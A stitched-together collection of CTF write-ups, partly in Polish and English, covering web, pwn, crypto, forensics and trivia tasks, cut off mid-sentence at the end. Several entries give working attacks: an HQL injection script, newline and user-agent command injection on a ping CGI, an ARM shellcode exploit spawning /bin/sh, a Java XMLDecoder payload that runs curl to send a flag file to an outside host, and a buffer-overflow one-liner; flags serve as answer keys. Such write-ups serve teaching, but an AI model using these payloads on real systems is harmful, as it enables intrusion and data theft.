`XXnon-breaking-spaceXX` will be treated by parser as a single word, while the database will treat this as 2 words separated by a space.Thanks to that, sending `selectXflagXfromXflag`, where `X` is the non-breaking-space, will not be recognized by HQL parser as subquery and thus we won't see `table flag is not mapped` error, but the database itself will recognize this as a subquery. In order to get value from table we used the incorrect cast of the value from `flag` table and the result could be seen in errorlog. Script to solve this task: ```pythonimport requestsfrom bs4 import BeautifulSoup val = u'\u00A0' payload = u"' and (cast(concat('->', (selectXflagXfromXflagXlimitX1)) as int))=0 or ''='"quoted = requests.utils.quote(payload)quoted = quoted.replace('X', val)response = requests.get('http://52.91.163.151:8080/movie/search?query=' + quoted)soup = BeautifulSoup(response.text)x = soup.find('dl', class_='error-details')if x: print xelse: print response.text```
##CatchMeIfYouCan (Forensics, 100p) We got this log which is highly compressed. Find the intruder's secret. ###PL[ENG](#eng-version) Plik f100 jest pewnego rodzaju Matryoshką kompresyjną, plik trzeba kolejno rozkompresowywać różnymi mniej i bardziej znanymi formatami. Po chwili okazuje się, że plik jest dosyć "głęboki" i trzeba będzie zautomatyzować rozpakowywanie kolejnych warstw. [Program](decode.py) jest dosyć prosty w działaniu, sprawdzamy format pliku za pomocą komendy `file`, a następnie rozpakowywujemy go odpowiednim programem. Ostatnim folderem jest f100.rar z którego dostajemy 2 foldery "log" i "dl" pełne różnych logów i list linków. Jak już dostatecznie dużo czasu zmarnujemy na przeszukiwanie śmieci to natrafiamy na ciekawy link: https://gist.github.com/anonymous/ac2ce167c3d2c1170efe z tajemniczym stringiem: `$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++`... [całość](mysteriousString.txt) ...który okazuje się javascriptowym skryptem printującym flagę: `-s-e-c-r-e-t-f-l-a-g-{D-i-d-Y-o-u-R-e-a-l-l-y-F-i-n-d-M-e-}` ###ENG version File f100 is sort of a Matryoshka-compression-doll, we have to decompress each file to get to another one. After a while of tinkering with it manually, it appears that the file is quite deep and we're going to need to automatize the process. [Program](decode.py) is pretty straight forward, we check the file's format using `file` and then decompress it using appropriate algorithm/program. The last folder we get is f100.rar which contains 2 folders "log" and "dl" full of different logs and links. After a *while* of searching, we stubmle into an interesting link: https://gist.github.com/anonymous/ac2ce167c3d2c1170efe with a mysterious string: `$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++`... [full](mysteriousString.txt) ...which appears to be a javascript program that prints the flag: `-s-e-c-r-e-t-f-l-a-g-{D-i-d-Y-o-u-R-e-a-l-l-y-F-i-n-d-M-e-}`
##MD5 (Crypto, 200p) He is influential, he is powerful. He is your next contact you can get you out of this situation. You must reach him soon. Who is he? The few pointers intrecpted by KGB are in the file. Once we know him, we can find his most valuable possession, his PRIDE. ###PL[ENG](#eng-version) Dostajemy plik z hashami md5: d80517c8069d7702d8fdd89b64b4ed3b 088aed904b5a278342bba6ff55d0b3a8 56cdd7e9e3cef1974f4075c03a80332d 0a6de9d8668281593bbd349ef75c1f49 972e73b7a882d0802a4e3a16946a2f94 1cc84619677de81ee6e44149845270a3 b95086a92ffcac73f9c828876a8366f0 b068931cc450442b63f5b3d276ea4297 Złamanie tych hashy (np. za pomocą http://md5cracker.org/decrypted-md5-hash/b068931cc450442b63f5b3d276ea4297) daje nam słowa: `Carrie`, `Grease`, `Perfect`, `Shout`, `Basic`, `Actor`, `Aircraft`, `name`. Można wynioskować, że chodzi tutaj o Johna Travoltę oraz o nazwę jego samolotu.Z pomocą przychodzi google i mówi, że samolot nazywa się `Jett Clipper Ella` co też jest flagą. ###ENG version We get a file with md5 hashes: d80517c8069d7702d8fdd89b64b4ed3b 088aed904b5a278342bba6ff55d0b3a8 56cdd7e9e3cef1974f4075c03a80332d 0a6de9d8668281593bbd349ef75c1f49 972e73b7a882d0802a4e3a16946a2f94 1cc84619677de81ee6e44149845270a3 b95086a92ffcac73f9c828876a8366f0 b068931cc450442b63f5b3d276ea4297 Breaking them (eg. with http://md5cracker.org/decrypted-md5-hash/b068931cc450442b63f5b3d276ea4297) gives us words: `Carrie`, `Grease`, `Perfect`, `Shout`, `Basic`, `Actor`, `Aircraft`, `name`. We figure out they are about John Travolta and out task is to find his airplane name.Google says it's `Jett Clipper Ella` and it's the flag.
##smartcat (Web, 50+50p) ###PL[ENG](#eng-version) W zadaniu dostajemy do dyspozycji webowy interfejs (CGI) pozwalający pignować wskazanego hosta. Domyślamy się, że pod spodem operacja jest realizowana jako wywołanie `ping` w shellu z doklejonym podanym przez nas adresem. #### Smartcat1 Pierwsza część zadania polega na odczytaniu flagi znajdującej się w nieznanym pliku, więc wymaga od nas jedynie możliwości czytania plików.Operatory: $;&|({` \t są zablokowane, ale zauważamy, że znak nowej linii `\n` jest wyjątkiem.Możemy dzięki temu wykonać dowolną komendę podając na wejściu np. `localhost%0Als` Co zostanie potraktowane jako 2 osobne komendy - `ping localhost` oraz `ls` Wywołanie `ls` pozwala stwierdzić, że w bierzącym katalogu jest katalog `there`, ale nie mamy możliwości listować go bez użycia spacji. Po chwili namysłu wpadliśmy na pomysł żeby użyć programu `find` który dał nam: ```../index.cgi./there./there/is./there/is/your./there/is/your/flag./there/is/your/flag/or./there/is/your/flag/or/maybe./there/is/your/flag/or/maybe/not./there/is/your/flag/or/maybe/not/what./there/is/your/flag/or/maybe/not/what/do./there/is/your/flag/or/maybe/not/what/do/you./there/is/your/flag/or/maybe/not/what/do/you/think./there/is/your/flag/or/maybe/not/what/do/you/think/really./there/is/your/flag/or/maybe/not/what/do/you/think/really/please./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag``` Pozostało nam tylko wywołać `cat<./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag` i uzyskać flagę: `INS{warm_kitty_smelly_kitty_flush_flush_flush}` #### Smartcat2 Druga część zadania jest trudniejsza, ponieważ treść sugeruje, że musimy odczytać flagę przez coś znajdującego się w katalogu `/home/smartcat/` oraz, że potrzebny będzie do tego shell.Zauważamy po pewnym czasie, że możemy tworzyć pliki w katalogu `/tmp`. Możemy także uruchamiać skrypty shell przez `sh<script.sh`, ale nadal mieliśmy problem z tym, jak umieścić w skrypcie interesującą nas zawartość.Wreszcie wpadliśmy na to, że istnieją pewne zmienne, na których zawartość możemy wpłynąć - nagłówki http.W szczególności możemy w dowolny sposób ustawić swój `user-agent`. Następnie możemy zawartość zmiennych środowiskowych wypisać przez `env` a wynik tej operacji zrzucić do pliku w `tmp`, a potem uruchomić przez `sh</tmp/ourfile`. Pierwsza próba zawierająca user-agent: `a; echo "koty" >/tmp/msm123; a` zakończyła się sukcesem. Mogliśmy więc z powodzeniem wykonać dowolny kod, w tym użyć `nc` lub `pythona` do postawienia reverse-shell. Zamiast tego najpierw wylistowaliśmy katalog `/home/smartcat/` znajdując tam program `readflag`, który przed podaniem flagi wymagał uruchomienia, odczekania kilku sekund i przesłania komunikatu.Wysłaliśmy więc na serwer skrypt, który wykonywał właśnie te czynności z podanym programem i dostaliśmy: Flag: ___ .-"; ! ;"-. .'! : | : !`. /\ ! : ! : ! /\ /\ | ! :|: ! | /\ ( \ \ ; :!: ; / / ) ( `. \ | !:|:! | / .' ) (`. \ \ \!:|:!/ / / .') \ `.`.\ |!|! |/,'.' / `._`.\\\!!!// .'_.' `.`.\\|//.'.' |`._`n'_.'| hjw "----^----" `INS{shells_are _way_better_than_cats}` ###ENG version In the task we get a web interface (CGI) for pinging selected host.We predict that underneath this is calling `ping` from shell with adress we give. #### Smartcat1-eng First part of the task requires reading a flag residing in an unknown file, so we only need to be able to read files.In the web interface characters $;&|({` \t are blocked, but we notice that newline character `\n` or `%0A` is an exception.Thanks to that we can execute any command we want by using input: `localhost%0Als` This will be executed as 2 separate commands - `ping localhost` and `ls` Calling `ls` shows us that in currend directory there is a `there` directory, but we can't list it since we can't use space. After a while we figure that we could use `find` which gived us: . ./index.cgi ./there ./there/is ./there/is/your ./there/is/your/flag ./there/is/your/flag/or ./there/is/your/flag/or/maybe ./there/is/your/flag/or/maybe/not ./there/is/your/flag/or/maybe/not/what ./there/is/your/flag/or/maybe/not/what/do ./there/is/your/flag/or/maybe/not/what/do/you ./there/is/your/flag/or/maybe/not/what/do/you/think ./there/is/your/flag/or/maybe/not/what/do/you/think/really ./there/is/your/flag/or/maybe/not/what/do/you/think/really/please ./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell ./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me ./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously ./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though ./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here ./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is ./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the ./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag We call: `cat<./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag` and get flag: `INS{warm_kitty_smelly_kitty_flush_flush_flush}` #### Smartcat2-eng Second part is more difficult, since we task suggests we need to get the flag using something in `/home/smartcat/` dir and that we will need a shell for that.After some work we notice that we can create files in `/tmp`.We can also call shellscripts by `sh<scrupt.sh`, but we still didn't know how to place data we want inside the file.Finally we figured that there are some environmental variables that we can set - http headers.In particular we can set `user-agent` to any value we want.We can then list those variables by `env` and save result of this operation to a file in `/tmp` and then run with `sh</tmp/ourfile`. First attempt containing: `a; echo "koty" >/tmp/msm123; a` was successful. Therefore, we could execute any code, including using `nc` or `python` to set a reverse-shell. Instead we started with listing `/home/smartcat/` directory, finding `readflag` binary, which requires us to execute it, wait few seconds and then send some message to get the flag.Instead of the shell we simply sent a script which was doing exactly what `readflag` wanted and we got: Flag: ___ .-"; ! ;"-. .'! : | : !`. /\ ! : ! : ! /\ /\ | ! :|: ! | /\ ( \ \ ; :!: ; / / ) ( `. \ | !:|:! | / .' ) (`. \ \ \!:|:!/ / / .') \ `.`.\ |!|! |/,'.' / `._`.\\\!!!// .'_.' `.`.\\|//.'.' |`._`n'_.'| hjw "----^----" `INS{shells_are _way_better_than_cats}`
# Insomnihack 2016 : Crypto (200) **Category:** crypto |**Points:** 200 |**Name:** Bring the noise |**Solves:** ? |**Description:** > Quantum computers won't help you>> Source> Running on: bringthenoise.insomnihack.ch:1111 ___ ## Write-up Our solution code can be found [here](https://github.com/nomoonx/insomnihack/blob/master/Bring%20the%20noise/crack.py). After reading the [server code](https://github.com/nomoonx/insomnihack/blob/master/Bring%20the%20noise/server-bd6a6586808ab28325de37276aa99357.py), it's a python socket server. We can see at the end of the function Handler, there's one line output the FLAG.```pythonput('%s\n' % FLAG)```So, we need to beat the function Handler. We can seperate it into two parts. ### Part One```pythonchallenge = hexlify(os.urandom(1+POWLEN/2))[:POWLEN]put('Challenge = %s\n' % challenge)response = self.rfile.readline()[:-1]print response#I added for debuggingresponsehash = hashlib.md5(response).hexdigest().strip()if responsehash[:POWLEN] != challenge: put('Wrong\n') return```The variable POWLEN is 5 here. It generated a random 5-characters string called challenge and will tell the client what challenge is. After get a response from client, compute the md5 of that response and compare the first 5 characters with challenge. So our problem became 'To generated a string whose md5 value has the same prefix as a given string'. Since md5 is a 32-digit hexadecimal number and the probabilities of each value is almost even, we can calculate the least time we need to try is 16^5=1048576 to get the same prefix value.So, we come up an idea is to check the md5 value of integer to see if it fits.```pythonfor i in range(1048976): responsehash = hashlib.md5(str(i)).hexdigest().strip() if responsehash[:5] == challenge: request=i break```After test, the hit rate is almost 1/3 which is acceptable. Of course, if we increase the range, the hit rate can be increased. But we need to balance the hit rate and the running time. So, it's good for now. ### Part Two```pythonequations, solution = learn_with_vibrations()for equation in equations: put(equation + '\n') print 'solution'print solution put('Enter solution as "1, 2, 3, 4, 5, 6"\n') print 'receving'sol = self.rfile.readline().strip()print solif sol != str(solution)[1:-1]: put('Wrong\n') return```All the print lines are added by us to do debugging. So there's a function to generate equations and solution called `learn_with_vibrations`. The equations will be sent to client and the client should return a solution called sol here to be compared with that solution. Therefore, the problem became 'how to generate a solution from the equations'. Let's see the `learn_with_vibrations` function.```pythondef learn_with_vibrations(): q, n, eqs = 8, 6, 40 solution = [randint(q) for i in range(n)] equations = [] for i in range(eqs): coefs = [randint(q) for i in range(n)] result = sum([solution[i]*coefs[i] for i in range(n)]) % q vibration = randint(3) - 1 result = (result + q + vibration) % q equations.append('%s, %d' % (str(coefs)[1:-1], result)) return equations, solution```The solution is a randomly generated 6 digit array.Each row in equations is a randomly generated 6 digit array and a result calculated by itself and solution.Since we can know every equation, the only thing we need to do is brutal force all 6 digit array and use a reverse rule to check if that's the solution.```pythondef solve(equations): q, n, eqs = 8, 6, 40 a=[1,2,3,4,5,6] for a[0] in range(q): for a[1] in range(q): for a[2] in range(q): for a[3] in range(q): for a[4] in range(q): for a[5] in range(q): flag=True for equation in equations: eq=equation.split(',') result = sum([a[i]*int(eq[i]) for i in range(n)]) % q tempFlag=False for i in range(3): if(result+q+i-1)%q==int(eq[-1]): tempFlag=True break if not tempFlag: flag=False break if flag: return a```We should write it in a better way. But just 6 digit, so we used a brutal way to write it.
from pwn import *import re context.update(arch='arm', os='linux', endian='little') thumbjmp = asm(""" add r6, pc, #1 bx r6""") dup = asm(""" movs r7, #0x3f @ dup pop {r0} pop {r0} @ get socket eors r1, r1 svc 1 movs r1, #1 svc 1 movs r1, #2 svc 1""", arch='thumb') execbin = asm(""" eors r0, r0 add r0, pc adds r0, #12 eors r1, r1 eors r2, r2 movs r7, #11 svc 1 movs r7, #1 svc 1 .asciz "//bin/sh"""", arch='thumb') shellcode = thumbjmp + dup + execbin def do_create(r, p1, p2, ns=2147483647): r.sendline("create") # name r.recv() r.sendline(p1) r.recv() # tags r.sendline(p2) r.recv() r.sendline("%d" % ns) def do_print(r): r.sendline('print') return r.recvuntil("$> ") def exploit(r): stackvar = 0xf6ffe464 # how can we leak it? payload = flat(shellcode, "A"*(211-len(shellcode))) r.recvuntil("$> ") do_create(r, payload, 'A'*83) r.recvuntil("$> ") do_create(r, "A"*211, 'A'*83) r.recvuntil("$> ") leak = do_print(r) print leak leak = re.findall(r"\[.*\]", leak)[0] leak = leak[197:200]+'\x00' nextelement = u32(leak) print hex(nextelement) payload = flat( "A"*212, p32(stackvar-1032), # push in r11 the address of the socket var p32(nextelement), shellcode ) do_create(r, payload, "A") r.interactive() # $ echo ./*# ./bin ./dev ./flag-wuemuoH2phiK2oi3Ooph5ABe.txt# $ cat ./flag-wuemuoH2phiK2oi3Ooph5ABe.txt# flag-{intr0-70-ARM-pwn4g3-4-fuN-n-pr0Fi7} if __name__ == "__main__": host = "52.72.171.221" port = 9981 with remote(host, port) as r: exploit(r)
## Web 100 - SignServer There was a web page that let us upload any document, signs it and returnsserialized java object in the xml format. Then you can submit back that xml to verify. Sample signed document looks like below```xml <java version="1.8.0_72-internal" class="java.beans.XMLDecoder"> <object class="models.CTFSignature" id="CTFSignature0"> <void class="models.CTFSignature" method="getField"> <string>hash</string> <void method="set"> <object idref="CTFSignature0"/> <string>da39a3ee5e6b4b0d3255bfef95601890afd80709</string> </void> </void> <void class="models.CTFSignature" method="getField"> <string>sig</string> <void method="set"> <object idref="CTFSignature0"/> <string>12a626d7c85bcc21d9f35302e33914104d8329a0</string> </void> </void> </object></java>``` I thought uploading custom serialized code would do the job. ```xml <java version="1.8.0_72-internal" class="java.beans.XMLDecoder"> <object class="models.CTFSignature" id="CTFSignature0"> <void class="models.CTFSignature" method="getField"> <string>hash</string> <void method="set"> <object idref="CTFSignature0"/> <string>da39a3ee5e6b4b0d3255bfef95601890afd80709</string> </void> </void> <void class="models.CTFSignature" method="getField"> <string>sig</string> <void method="set"> <object idref="CTFSignature0"/> <string>12a626d7c85bcc21d9f35302e33914104d8329a0</string> </void> </void> </object> <object class="java.lang.Runtime" method="getRuntime"> <void method="exec"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/sh</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>curl <ip>:port/c.php?c=$(cat flag)</string> </void> </array> </void> </object></java> ``` ```flag{ser1l1azati0n_in_CTF_is_fUN}```
### Misc 400 - LOL I think they have changed category title between misc and programming. So it's programming challenge. If you connect to given ip and port address, it asks you to send back decoded or decompressed valueto the server. Initially we thought it's 25 repititive tasks. But it's way more than that.Challenge format is as follows ```Challenge score (0/25)[encoding]-[encoded_text]``` We wrote python script to get the flag.```pythonimport socket, zlib, base64, time, string, binascii, codecs, bz2, brainfuck, subprocessimport tracebacksolutions = {}keywords = [] def solve_1(b64): return base64.b64decode(b64) def solve_9(b32): return base64.b32decode(b32) def solve_2(zl): return zl.decode('zlib') def solve_3(input): b16 = input.strip() return base64.b16decode(b16) def solve_4_2(input): longg = ['Do not wish it','Lead bye','Live each','Success is','Very little','I am a greater','If at first','If you try','It is better','It is hard','Luck is','No matter','Thank you','The difference','The most','The real','There are no', 'Your goals','Your smile'] for l in longg: c = l c = c.replace(' ', '').lower() if input == solve_4(c): return l.strip('\n') def solve_4(input): lstr = string.ascii_lowercase ustr = string.ascii_uppercase idx = 0 result = list(input) for c in input: if c == ' ': result[idx] = ' ' elif c.isupper(): n = ustr.index(c) result[idx] = ustr[(n + 16)%26] else: n = lstr.index(c) result[idx] = lstr[(n + 16)%26] idx = idx + 1 return ''.join(result) def solve_5(input): return input[::-1] def solve_6(input): lstr = string.ascii_lowercase ustr = string.ascii_uppercase idx = 0 result = list(input) for c in input: if c == ' ': result[idx] = ' ' elif c.isupper(): n = ustr.index(c) result[idx] = ustr[(n + 13)%26] else: n = lstr.index(c) result[idx] = lstr[(n + 13)%26] idx = idx + 1 return ''.join(result) def solve_7(input): n = int(input, 2) return binascii.unhexlify('%x' % n) def solve_8(input): # return codecs.decode(input, "cp500") return input.decode('EBCDIC-CP-BE').encode('ascii') def solve_10(input): return bz2.decompress(input) def solve_11(input): f = open('temp.txt', 'w') f.write(input) f.close() return subprocess.check_output('python brainfuck.py temp.txt', shell=True) def solve_12(input): return input.decode('hex') solutions['ba64'] = solve_1solutions['zlib'] = solve_2solutions['ba16'] = solve_3solutions['ro42'] = solve_4_2solutions['revs'] = solve_5solutions['roti'] = solve_6solutions['bina'] = solve_7solutions['ebcd'] = solve_8solutions['ba32'] = solve_9solutions['bz2c'] = solve_10solutions['bfuk'] = solve_11solutions['hexa'] = solve_12 s = socket.socket()s.connect(('52.91.163.151', 30303))print s.recv(1024)print s.recv(1024)i = 0while True: try: # time.sleep(1) data = s.recv(1024) print "data %d {%s}" % (i, data.strip('\n')) data = '\n'.join(data.split('\n')[1:]) challenge = data.split('-')[0] argument = '-'.join(data.split('-')[1:]) argument = argument.strip('\n') # print "Challenge: %s-%s" % (challenge, argument) answer = solutions[challenge](argument) print "Answer: %s" % answer answer = answer.strip('\n') s.send(answer.encode()) print s.recv(1024) print '' i = i + 1 except Exception, ex: traceback.print_stack() print '--------------' traceback.print_exc() break``` At 100th score, it gives the non task related string scramble. ```666p61677o6433633064696r675s69735s656173795s4p4s4p7q20```If you do rot13 and hex decode, we get the flag.```flag{d3c0ding_is_easy_LOL} ```
##Trivia 2 (Trivia/Recon, 200p) I love this song. What is my project ID? ###PL[ENG](#eng-version) Dostajemy plik mp3 (nie udostępnimy go bo był piracki...) oraz informacje, że flagą jest `project ID`.W pliku mp3 trafiamy na dość nietypowy dobór zdjęcia ustawionego jako okładka albumu.Po wyszukaniu tego zdjęcia przez tineye.com i google reverse image search trafiamy na githuba: https://github.com/UziTech którego właściciel ma to samo zdjecie w avatarze. Następnie spędziliśmy bardzo (!) dużo czasu testując różne możliwości dla flagi - nazwy projektów z githuba, ID projektów pobrane przez API i wiele innych możliwości. W końcu przeszukując zawartość plików w repozytorium w poszukiwaniu `project` oraz `id` trafiliśmy między innymi na plik: https://github.com/UziTech/NSF2SQL/blob/master/NSF2SQL/NSF2SQL.csproj a flagą okazało się pole `<ProjectGuid>` czyli `3AD3A009-FC65-4067-BFF1-6CE1378BA75A` ###ENG version We get mp3 file (not included since it was pirated...) and information that the flag is `project ID`.Inside the mp3 file we find a strange picture set as album cover.We look for the picture with tineye.com and google reverse image search and we find github: https://github.com/UziTech whose owner has the same picture in avatar. Next we spend a lot (!) of time trying to figure out what could be the flag - project names, project IDs taken from API, and many many more strange ideas. Finally while looking for `project` and `id` inside the files in repository we found the file: https://github.com/UziTech/NSF2SQL/blob/master/NSF2SQL/NSF2SQL.csproj and the flag turned out to be the value of `<ProjectGuid>` so `3AD3A009-FC65-4067-BFF1-6CE1378BA75A`
# Fix my pdf (misc, 100p) ## PL `For ENG scroll down` Dostajemy [taki oto pdf](fix_my_pdf.pdf) od autorów zadania. Wszelkie próby załadowania go do jakiegoś czytnika pdf kończą się niepowodzeniem - wyraźnie wygląda na uszkodzony. Możemy jeszcze otworzyć go z ciekawości w notepadzie/vimie/emacsie żeby przyjrzeć sie jego wewnętrzenej strukturze - niestety wszystkie streamy w pdfie są skompresowane, co oznacza że ręcznie ich nie podejrzymy. W tym momencie należy więc skorzystać z jakiegoś narzędzia do dumpowania streamów pdfa. Do głowy przychodzi qpdf, ale jako dzieci windowsa wybieramy prostsze narzędzie - pdf stream dumper. Ładujemy pdf, i jeden ze streamów wydaje sie ciekawszy (dla oka ludzkiego) niż pozostałe - zawiera XML z metadanymi. Szczególnie ciekawa jest zawartość `<xmpGImg:image>` - dekodujemy więc ją i zapisujemy do oddzielnego pliku (pamiętając żeby zamienić/usunąć wcześniej ciągi `` z base64 - autor tego writeupa zapomniał o tym na początku i już myślał że jego pomysł na zadanie okazał się ślepą uliczką). Otrzymujemy taki oto obrazek: ![](./result.jpg) Odczytujemy z niego flagę: TMCTF{There is always light behind the clouds}. ## ENG We get [this pdf file](fix_my_pdf.pdf) from the task authors. All attempts to open it with a pdf reader fail - it seems to be broken. We can still open it with notepad/vim/emacs to look at the internal structure - unfortunately all pdf streams are compressed so we can't easily read them. We decided to use a pdf stream dump tool. We could have used qpdf but since we're on windows at the moment we chose a different tool - pdf stream dumper. We load the pdf and one of the streams seems more interesting than the others (at least from human point of view) - it contains XML with metadata.Particularly insteresting is `<xmpGImg:image>` - we decode this and we save it to a different file (remembering to replace/remove `` from base64 - author of this writeup forgot about this initially and almost assumed that his approach to solve the task was incorrect) We finally get this picture: ![](./result.jpg) We read the flag from it: `TMCTF{There is always light behind the clouds}.`
# LOL > Decode this - LOL In this task we had to write a program, which was decoding various encodings, such as ROT13, hex encoding,zlib compression etc. Unfortunately there was one encoding (called ro42), for which we could not write a true decoder,because the encoding did not differentiate between letter case, while our response had to be of correct case - we simplyhardcoded responses. Server said we had to solve 25 of those challenges, but the counter was going up even after 25. Finally, when we solved100 of them (WTF), this string was printed: `666p61677o6433633064696r675s69735s656173795s4p4s4p7q20`. If we change `n` to `a`,`o` to `b` (i.e. rot13 encode it) and unhex it, we get the flag.
[](ctf=defcamp-quals-2015)[](type=exploit)[](tags=buffer-overflow) We are given a [binary](../e100.bin) and a [key](../id_rsa_e100). ```bash$ file e100.bin e100.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4410355efef2e99ac54e4028dba1b3e40d055fee, stripped```Also loading in gdb-peda.```bashgdb-peda$ checksecCANARY : ENABLEDFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : Partial```Good. Loading the binary in [Hopper](http://www.hopperapp.com/) and decompiling.```cfunction sub_80484fd { var_C = *0x14; printf("Enter password: "); gets(var_2C); if (arg0 == 0xbadb0169) { system("cat flag"); } else { for (var_30 = 0x0; var_30 < strlen(var_2C); var_30 = var_30 + 0x1) { *(int8_t *)(var_30 + var_2C) = arg0 ^ *(int8_t *)(var_30 + var_2C) & 0xff; } printf("Your new secure password is: "); printf(var_2C); } eax = var_C ^ *0x14; COND = eax == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax;}```So a gets and a static hardcoded check. Basic buffer overflow!! ```bash 0x804851b: lea eax,[ebp-0x2c] 0x804851e: mov DWORD PTR [esp],eax=> 0x8048521: call 0x80483a0 <gets@plt> 0x8048526: cmp DWORD PTR [ebp+0x8],0xbadb0169```This gives us padding = 0x2c+0x8 = 52Now the final blow.```bash$ python -c "print 'A'*52+'\xba\xdb\x01\x69'[::-1]" | ssh -i id_rsa_e100 [email protected]Pseudo-terminal will not be allocated because stdin is not a terminal.DCTF{3671bacdb5ea5bc26982df7da6de196e}Enter password: *** stack smashing detected ***: /home/dctf/e100 terminated``` Flag:>DCTF{3671bacdb5ea5bc26982df7da6de196e}
##RSA (Crypto, 500p) Now you are one step away from knowing who is that WARRIOR. The Fighter who will decide the fate of war between the 2 countries. The Pride of One and Envey of the Other... You have got the secrete file which has the crucial information to identify the fighter. But the file is encrypted with a RSA-Private key. Good news you have its corresponding public key in a file. Bad news there are 49 other keys. Whos is the Fighter. ###PL[ENG](#eng-version) Dostajemy szyfrowany [plik](warrior.txt) oraz zbiór [kluczy publicznych](all_keys.txt).Plik został zaszyfrowany przy pomocy klucza prywatnego RSA (dość dziwny pomysł, ale matematycznie zupełnie poprawny) a jeden z kluczy publicznych którymi dysponujemy pasuje do tego klucza prywatnego. W przypadku RSA parametry kluczy są dobrane tak, aby: `d*e = 1 mod (totient(n))` ponieważ dzięki temu `(x^e)^d mod n = x^ed mod n = m` Jak nie trudno zauważyć, nie ma więc znaczenia czy jak w klasycznym przypadku mamy: `ciphertext = plaintext^e mod n` i dekodujemy go przez podniesienie do potęgi `d` czy też mamy: `ciphertext = plaintext^d mod n` i dekoduejmy go przez podniesienie do potęgi `e`. Uruchamiamy więc prosty skrypt który spróbuje zdekodować plik przy pomocy każdego z kluczy: ```pythonimport codecsfrom Crypto.PublicKey import RSAfrom base64 import b64decodefrom Crypto.Util.number import long_to_bytes, bytes_to_long with codecs.open("warrior.txt", "rb") as warrior: w = warrior.read() ciphertext = bytes_to_long(w) print(len(w)) with codecs.open("all_keys.txt") as input_file: data = input_file.read() for i, key in enumerate(data.split("-----END PUBLIC KEY-----")): key = key.replace("\n", "") key = key.replace("-----BEGIN PUBLIC KEY-----", "") if key: keyDER = b64decode(key) keyPub = RSA.importKey(keyDER) print(i) pt = pow(ciphertext, keyPub.key.e, keyPub.key.n) print("plaitnext: " + long_to_bytes(pt)) ``` Jeden z wyników zawiera: This fighter is a designation for two separate, heavily upgraded derivatives of the Su-35 'Flanker' jet plane. They are single-seaters designed by Sukhoi(KnAAPO). Sprawdzamy więc skąd pochodzi cytat i trafiamy na https://en.wikipedia.org/wiki/Sukhoi_Su-35 a flagą jest `Sukhoi Su-35` ###ENG version We get a encrypted [file](warrior.txt) and set of [public keys](all_keys.txt)The file was encrypted with RSA private key (unusual, but mathematically correct) and one of the public keys we have is corresponding key to the private key used in encryption. In case of RSA cipher the key parameters are selected so that: `d*e = 1 mod (totient(n))` and therefore: `(x^e)^d mod n = x^ed mod n = m` As can be noticed, it doesn't matter if we have the classic example: `ciphertext = plaintext^e mod n` and we decode it with raising to power `d`, or if we have: `ciphertext = plaintext^d mod n` and decode by raising to power `e`. So we run a simple script which will decode the file using each of the keys: ```pythonimport codecsfrom Crypto.PublicKey import RSAfrom base64 import b64decodefrom Crypto.Util.number import long_to_bytes, bytes_to_long with codecs.open("warrior.txt", "rb") as warrior: w = warrior.read() ciphertext = bytes_to_long(w) print(len(w)) with codecs.open("all_keys.txt") as input_file: data = input_file.read() for i, key in enumerate(data.split("-----END PUBLIC KEY-----")): key = key.replace("\n", "") key = key.replace("-----BEGIN PUBLIC KEY-----", "") if key: keyDER = b64decode(key) keyPub = RSA.importKey(keyDER) print(i) pt = pow(ciphertext, keyPub.key.e, keyPub.key.n) print("plaitnext: " + long_to_bytes(pt)) ``` One of the results contains: This fighter is a designation for two separate, heavily upgraded derivatives of the Su-35 'Flanker' jet plane. They are single-seaters designed by Sukhoi(KnAAPO). We check where did this come from and we find https://en.wikipedia.org/wiki/Sukhoi_Su-35 and the flag is `Sukhoi Su-35`
## Command-Line Quiz (Unknown, 100p) telnet caitsith.pwn.seccon.jp User:root Password:seccon The goal is to find the flag word by "somehow" reading all *.txt files. ###PL[ENG](#eng-version) Łączymy się ze wskazanym serwerem: ```CaitSith login: rootPassword:$ lsbin flags.txt linuxrc stage1.txt stage4.txt usrdev init proc stage2.txt stage5.txtetc lib sbin stage3.txt tmp$ cat flags.txtcat: can't open 'flags.txt': Operation not permitted$ cat stage1.txtWhat command do you use when you want to read only top lines of a text file? Set your answer to environment variable named stage1 and execute a shell. $ stage1=$your_answer_here sh If your answer is what I meant, you will be able to access stage2.txt file.$ cat stage2.txtcat: can't open 'stage2.txt': Operation not permitted``` Jesteśmy w stanie przeczytać tylko plik stage1.txt, kolejne są odblokowywane w momencie kiedyrozwiążemy poprzednie zagadki. Więc idziemy po kolei: ```$ cat stage1.txtWhat command do you use when you want to read only top lines of a text file? Set your answer to environment variable named stage1 and execute a shell. $ stage1=$your_answer_here sh If your answer is what I meant, you will be able to access stage2.txt file.$ stage1=head sh$ cat stage2.txtWhat command do 